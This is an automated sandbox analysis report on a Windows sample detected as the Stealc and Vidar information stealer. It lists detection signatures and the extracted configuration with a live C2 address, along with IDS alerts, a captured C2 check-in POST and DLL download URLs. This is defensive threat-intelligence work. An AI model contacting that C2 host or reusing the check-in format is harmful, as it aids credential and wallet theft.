Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1528484
MD5:	1e493ca759006742b07a64f877b01ed2
SHA1:	b89cba8e94b691b6b68f8c863f380d491306915f
SHA256:	3529de7eb42d68673a45171c6b6c54200e1f90ca791217702d44bf133f72e251
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 2672 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 1E493CA759006742B07A64F877B01ED2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: Vidar

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1791718439.000000000176E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1791718439.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1550119203.0000000005480000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 2672	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 2672	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 2672	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 2672	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.ac0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T00:13:19.576866+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.8	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T00:13:19.567127+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.8	49704	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T00:13:19.787590+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.8	49704	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T00:13:20.769767+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.8	49704	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T00:13:19.796824+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.8	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T00:13:19.348416+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49704	185.215.113.37	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T00:13:22.558447+0200	2803304	3	Unknown Traffic	192.168.2.8	49704	185.215.113.37	80	TCP
2024-10-08T00:13:27.559155+0200	2803304	3	Unknown Traffic	192.168.2.8	49704	185.215.113.37	80	TCP
2024-10-08T00:13:28.636576+0200	2803304	3	Unknown Traffic	192.168.2.8	49704	185.215.113.37	80	TCP
2024-10-08T00:13:29.307200+0200	2803304	3	Unknown Traffic	192.168.2.8	49704	185.215.113.37	80	TCP
2024-10-08T00:13:29.820804+0200	2803304	3	Unknown Traffic	192.168.2.8	49704	185.215.113.37	80	TCP
2024-10-08T00:13:32.042658+0200	2803304	3	Unknown Traffic	192.168.2.8	49704	185.215.113.37	80	TCP
2024-10-08T00:13:34.364969+0200	2803304	3	Unknown Traffic	192.168.2.8	49704	185.215.113.37	80	TCP

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHJKJKKKJJJKJKFHJJJJHost: 185.215.113.37Content-Length: 209Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 31 31 39 37 46 39 31 35 38 45 41 32 30 33 37 39 30 32 36 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 2d 2d 0d 0a Data Ascii: ------DHJKJKKKJJJKJKFHJJJJContent-Disposition: form-data; name="hwid"A1197F9158EA20379026------DHJKJKKKJJJKJKFHJJJJContent-Disposition: form-data; name="build"doma------DHJKJKKKJJJKJKFHJJJJ--

Source: file.exe, 00000000.00000002.1791718439.000000000176E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37.com
Source: file.exe, 00000000.00000002.1791718439.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000000.00000002.1791718439.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000000.00000002.1791718439.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dlli
Source: file.exe, 00000000.00000002.1791718439.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000000.00000002.1791718439.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.1791718439.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000000.00000002.1791718439.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll-
Source: file.exe, 00000000.00000003.1639206567.00000000017D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1791718439.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000000.00000002.1791718439.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll7
Source: file.exe, 00000000.00000002.1791718439.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dllc
Source: file.exe, 00000000.00000003.1639206567.00000000017D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1791718439.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/G
Source: file.exe, 00000000.00000003.1639206567.00000000017D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1791718439.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/H
Source: file.exe, 00000000.00000002.1791718439.00000000017E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000003.1639206567.00000000017D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php&
Source: file.exe, 00000000.00000002.1791718439.00000000017E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php.dll
Source: file.exe, 00000000.00000002.1791718439.00000000017E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php.dll&
Source: file.exe, 00000000.00000002.1791718439.00000000017E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php0u
Source: file.exe, 00000000.00000002.1791718439.00000000017E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php3
Source: file.exe, 00000000.00000002.1815079279.0000000029DB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php?
Source: file.exe, 00000000.00000002.1791718439.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpJECGDGCBKECAKFBGC
Source: file.exe, 00000000.00000002.1791718439.00000000017E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpY
Source: file.exe, 00000000.00000002.1791718439.00000000017E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpbird
Source: file.exe, 00000000.00000002.1791718439.00000000017E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpdll
Source: file.exe, 00000000.00000003.1639206567.00000000017D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpf-9bc86c8e8c94$
Source: file.exe, 00000000.00000002.1791718439.00000000017B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpg
Source: file.exe, 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpom
Source: file.exe, 00000000.00000002.1791718439.00000000017E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpwindow-state.json
Source: file.exe, 00000000.00000002.1791718439.00000000017E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpwser
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.1821150584.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1809461642.000000001DCF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.1638835193.0000000001825000.00000004.00000020.00020000.00000000.sdmp, JKECGDBF.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.1815079279.0000000029DB5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1791718439.00000000017E8000.00000004.00000020.00020000.00000000.sdmp, AKJDAEGCAFIIDGDGCGIJ.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.
Source: file.exe, 00000000.00000002.1815079279.0000000029DB5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1791718439.00000000017E8000.00000004.00000020.00020000.00000000.sdmp, AKJDAEGCAFIIDGDGCGIJ.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta
Source: file.exe, 00000000.00000003.1638835193.0000000001825000.00000004.00000020.00020000.00000000.sdmp, JKECGDBF.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1638835193.0000000001825000.00000004.00000020.00020000.00000000.sdmp, JKECGDBF.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1638835193.0000000001825000.00000004.00000020.00020000.00000000.sdmp, JKECGDBF.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.1815079279.0000000029DB5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1791718439.00000000017E8000.00000004.00000020.00020000.00000000.sdmp, AKJDAEGCAFIIDGDGCGIJ.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000002.1815079279.0000000029DB5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1791718439.00000000017E8000.00000004.00000020.00020000.00000000.sdmp, AKJDAEGCAFIIDGDGCGIJ.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.1638835193.0000000001825000.00000004.00000020.00020000.00000000.sdmp, JKECGDBF.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1638835193.0000000001825000.00000004.00000020.00020000.00000000.sdmp, JKECGDBF.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1638835193.0000000001825000.00000004.00000020.00020000.00000000.sdmp, JKECGDBF.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: AKJDAEGCAFIIDGDGCGIJ.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: GDBAKEGIDBGIEBFHDHJJEHDHDG.0.dr	String found in binary or memory: https://support.mozilla.org
Source: GDBAKEGIDBGIEBFHDHJJEHDHDG.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: GDBAKEGIDBGIEBFHDHJJEHDHDG.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l
Source: file.exe, 00000000.00000002.1815079279.0000000029DB5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1791718439.00000000017E8000.00000004.00000020.00020000.00000000.sdmp, AKJDAEGCAFIIDGDGCGIJ.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.1638835193.0000000001825000.00000004.00000020.00020000.00000000.sdmp, JKECGDBF.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.1638835193.0000000001825000.00000004.00000020.00020000.00000000.sdmp, JKECGDBF.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000002.1815079279.0000000029DB5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1791718439.00000000017E8000.00000004.00000020.00020000.00000000.sdmp, AKJDAEGCAFIIDGDGCGIJ.0.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: GDBAKEGIDBGIEBFHDHJJEHDHDG.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, file.exe, 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: GDBAKEGIDBGIEBFHDHJJEHDHDG.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.0JoCxlq8ibGr
Source: file.exe, file.exe, 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: GDBAKEGIDBGIEBFHDHJJEHDHDG.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.Tgc_vjLFc3HK
Source: GDBAKEGIDBGIEBFHDHJJEHDHDG.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.1750721283.000000002FF73000.00000004.00000020.00020000.00000000.sdmp, GDBAKEGIDBGIEBFHDHJJEHDHDG.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/kZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGp
Source: file.exe, 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/vRm9ybXxwbmxjY21vamNtZW9obHBnZ21mbmJiaWFwa21ibGlvYnwxfDB8MHx

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
